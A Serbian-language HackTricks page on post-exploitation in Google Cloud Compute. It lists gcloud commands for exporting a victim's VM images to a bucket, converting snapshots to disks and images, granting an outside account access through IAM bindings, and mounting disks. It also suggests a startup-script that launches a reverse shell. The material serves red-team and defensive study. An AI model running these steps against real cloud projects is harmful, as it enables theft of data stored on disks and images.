GCP - Compute Post Exploitation

GCP - Post Eksploatacija Računara

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Računar

Za više informacija o Računaru i VPC (Mreženje) proverite:

GCP - Compute Enum

Izvoz & Inspekcija Slika lokalno

Ovo bi omogućilo napadaču da pristupi podacima sadržanim unutar već postojećih slika ili napravi nove slike pokrenutih VM-ova i pristupi njihovim podacima bez pristupa pokrenutom VM-u.

Moguće je izvesti VM sliku u bucket, a zatim je preuzeti i montirati lokalno pomoću komande:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Pre izvođenja ove radnje, napadač možda će trebati privilegije nad skladištem i svakako privilegije nad cloudbuild jer je to servis koji će biti tražen da izvrši izvoz. Osim toga, da bi ovo funkcionisalo, kôdgradi SA i računarski SA trebaju imati privilegovane dozvole. Cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com treba:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

A SA <project-id>-compute@developer.gserviceaccount.com treba:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Izvoz & Inspekcija snimaka i diskova lokalno

Nije moguće direktno izvesti snimke i diskove, ali je moguće transformisati snimak u disk, disk u sliku i prateći prethodni odeljak, izvesti tu sliku radi inspekcije lokalno

```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

### Pregledajte sliku kreirajući VM

Sa ciljem pristupa **podacima sačuvanim na slici** ili unutar **pokrenutog VM-a** odakle je napadač **kreirao sliku**, moguće je omogućiti pristup spoljnom nalogu preko slike:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

zatim kreirajte novu virtuelnu mašinu iz nje:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Ako niste mogli dati pristup vašem spoljnom nalogu preko slike, možete pokrenuti VM koristeći tu sliku u žrtvinom projektu i naterati metapodatke da izvrše obrnutu ljusku kako biste pristupili slici dodavanjem parametra:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Pregledajte snimak/disk tako što ga povežete sa VM

Sa ciljem pristupa podacima koji se čuvaju na disku ili snimku, možete pretvoriti snimak u disk, disk u sliku i pratiti prethodne korake.

Ili možete dodeliti spoljnom nalogu pristup disku (ako je početna tačka snimak, dajte pristup preko snimka ili napravite disk od njega):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Povežite disk sa instancom:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montirajte disk unutar virtuelne mašine:

  1. SSH na VM:

gcloud compute ssh [IME_INSTANCA] --zone [ZONA]
  1. Identifikujte disk: Kada ste unutar VM, identifikujte novi disk tako što ćete izlistati disk uređaje. Tipično, možete ga pronaći kao /dev/sdb, /dev/sdc, itd.

  2. Formatirajte i montirajte disk (ako je novi ili sirov disk):

  • Kreirajte tačku montiranja:

sudo mkdir -p /mnt/disks/[DIREKTORIJUM_ZA_MONTIRANJE]
  • Montirajte disk:

sudo mount -o discard,defaults /dev/[UREĐAJ_ZA_DISK] /mnt/disks/[DIREKTORIJUM_ZA_MONTIRANJE]

Ako ne možete dati pristup spoljnom projektu za snimak ili disk, možda ćete morati izvršiti ove akcije unutar instance u istom projektu kao snimak/disk.

Last updated